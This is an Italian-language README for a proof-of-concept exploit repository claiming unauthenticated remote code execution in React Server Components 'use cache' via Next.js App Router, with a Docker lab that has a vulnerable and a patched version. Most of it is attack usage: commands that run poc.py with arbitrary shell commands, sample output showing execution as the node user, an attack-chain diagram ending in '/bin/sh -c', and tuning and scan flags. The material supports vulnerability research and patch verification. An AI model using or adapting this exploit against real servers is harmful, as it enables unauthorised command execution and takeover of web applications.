
PoC: RCE non autenticato tramite desync di framing typed-array in Next.js use-cache (CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3) | laboratorio docker compose
use cache dei React Server ComponentsRCE non autenticata nei React Server Components (react-server-dom-webpack/-parcel/-turbopack 19.0.0–19.3.0), raggiungibile tramite Next.js App Router + Cache Components — verificata in modo differenziale in Docker: esecuzione arbitraria di comandi su 16.4.0/19.3.0, fallimento pulito su 16.4.1/19.3.1.
Solo test autorizzati. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta all'esecuzione dei test.
| Gravità | Critica — CVSS v4.0 9.5 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N) |
| Vulnerabile | react-server-dom-* 19.0.0 – 19.3.0 · Next.js 16.0.0 – 16.4.0 (App Router + Cache Components) |
| Corretto | react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1 · Next.js 16.4.1 |
| CWE | CWE-416 (desync equivalente a UAF) · CWE-706 |
| PoC | poc.py — Python 3.8+, solo stdlib, zero dipendenze |
| Lab | Docker: vulnerabile (porta 3100) + corretta (porta 3101) per un confronto differenziale con un solo comando |
docker compose up -d --build lab # vulnerable Next.js 16.4.0 / React 19.3.0
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
Output su un container nuovo:
[*] action id: 7fd83c9c2021a51139b13e6677e5fa38caee3da138
[+] chunk=4 overread=8192 HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=1000(node) gid=1000(node) groups=1000(node)
Linux ee94eee5b39a ... aarch64 GNU/Linux
===============================================
Nessuna autenticazione. Nessun cookie. Una sola GET con un parametro ?annotation= appositamente costruito → la Server Action dell'app stessa esegue qualsiasi comando l'attaccante inserisca in --cmd, con l'output restituito nella pagina renderizzata.
Il repository include due lab provenienti dallo stesso albero dei sorgenti, che differiscono solo per la versione:
| Lab | Next.js | react-server-dom-* | Risultato |
|---|---|---|---|
lab (porta 3100) | 16.4.0 | 19.3.0 | RCE — output del comando restituito |
lab-patched (porta 3101, --profile patched) | 16.4.1 | 19.3.1 | fallisce — l'annotation resta opaca Uint8Array(8278), nessuna action invocata |
Stesso codice dell'app, stesso PoC, stessa forma della richiesta. L'unica variabile è il serializer corretto. Se l'"exploit" fosse un artefatto del lab o una configurazione errata, entrambi i lati si comporterebbero allo stesso modo. Non è così — l'attacco riesce esattamente sull'intervallo vulnerabile e fallisce esattamente sulla versione corretta. Questa è la definizione di un PoC di vulnerabilità validato.
GET.uid=…, uname, --cmd arbitrario) viene renderizzato nella pagina, quindi l'esecuzione è provata con evidenza visibile all'attaccante, non dedotta da un effetto collaterale.Entrambe le immagini vengono costruite da node:22-bookworm-slim senza stato in cache; l'exploit funziona su un docker compose up appena eseguito. Nessun tooling dell'host, nessuna cache pre-riscaldata, nessun passaggio manuale. Conteggio delle riesecuzioni: exploit confermato a ogni ricostruzione da zero.
poc.py esce con 0 solo quando l'annotation ritorna come output reale dell'action (risultati dei comandi), ed esce con 1 quando resta un Uint8Array(n) opaco — l'esatta firma della versione corretta. Utilizzabile in CI così com'è:
python3 poc.py http://127.0.0.1:3100 --cmd 'id' && echo VULNERABLE
python3 poc.py http://127.0.0.1:3101 --cmd 'id' || echo PATCHED-OK
use cache in cache restituisce due viste Uint8Array su un unico
ArrayBuffer condiviso più un'annotazione influenzabile dal chiamante.La pre-condizione spiega il AT:P nel vettore CVSS: il pattern dell'applicazione (ArrayBuffer
condiviso multi-vista in una funzione in cache) è raro nelle applicazioni reali.
attacker annotation (base64, attacker bytes)
│
▼
┌─ use cache ────────────────────────────────────────┐
│ block0 [shared ArrayBuffer] ──► serialized, buffer│
│ block1 [same buffer] ──► DETACHED: length │
│ header, 0 bytes │
│ annotation ──► attacker-controlled stream bytes │
└────────────────────────────────────────────────────┘
│ cache re-read: decoder reads block1's declared
│ length FROM the annotation bytes, resumes parsing there
▼
forged Flight rows ──► server-reference chunk ──► Server Action invoked
with attacker arguments ──► /bin/sh -c "<attacker cmd>"
| Percorso | Scopo |
|---|---|
poc.py | exploit solo stdlib: scoperta dell'action-id, costruzione del blob di riga falsificata, richiesta, parser dell'output |
lab/ | app vulnerabile Next.js 16.4.0 + React 19.3.0 (Docker) |
lab/app/payload.js | la funzione vulnerabile use cache |
lab/app/actions.js | sostituto nel lab di una Server Action privilegiata (/bin/sh -c) |
lab/app/layout.jsx | UI del lab — tema terminale scuro, zero dipendenze |
compose.yaml | lab vulnerabile (3100) + lab con patch (3101), un comando ciascuno |
# 1. vulnerable lab (Next.js 16.4.0 / React 19.3.0)
docker compose up -d --build lab
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
# 2. patched lab (Next.js 16.4.1 / React 19.3.1) — must fail
docker compose --profile patched up -d --build lab-patched
python3 poc.py http://127.0.0.1:3101 --cmd 'id'
| Flag | Predefinito | Scopo |
|---|---|---|
--cmd | id | comando eseguito dalla Server Action dirottata |
--path | / | pagina che ospita la funzione in cache |
--action-id | auto | salta la scoperta, fornisci l'id esadecimale di 40–64 caratteri |
--chunk-id / --overread | 4 / 8192 | regolazione dell'offset di ripresa |
--scan | off | esegue una scansione di chunk id × dimensioni di overread |
--timeout / --insecure | 30 / off | target HTTPS |
La pagina del lab stessa (http://127.0.0.1:3100/) è una piccola console a tema scuro:
pannello dei risultati di decodifica con tag di stato, pulsante di diagnostica per l'operatore il cui output è
renderizzato sulla pagina, e il contratto di annotazione nello stato vuoto. Esiste affinché
l'id della Server Action sia incluso nell'HTML pubblico esattamente come in un'app reale — la stessa proprietà
su cui si basa la fase di scoperta del PoC.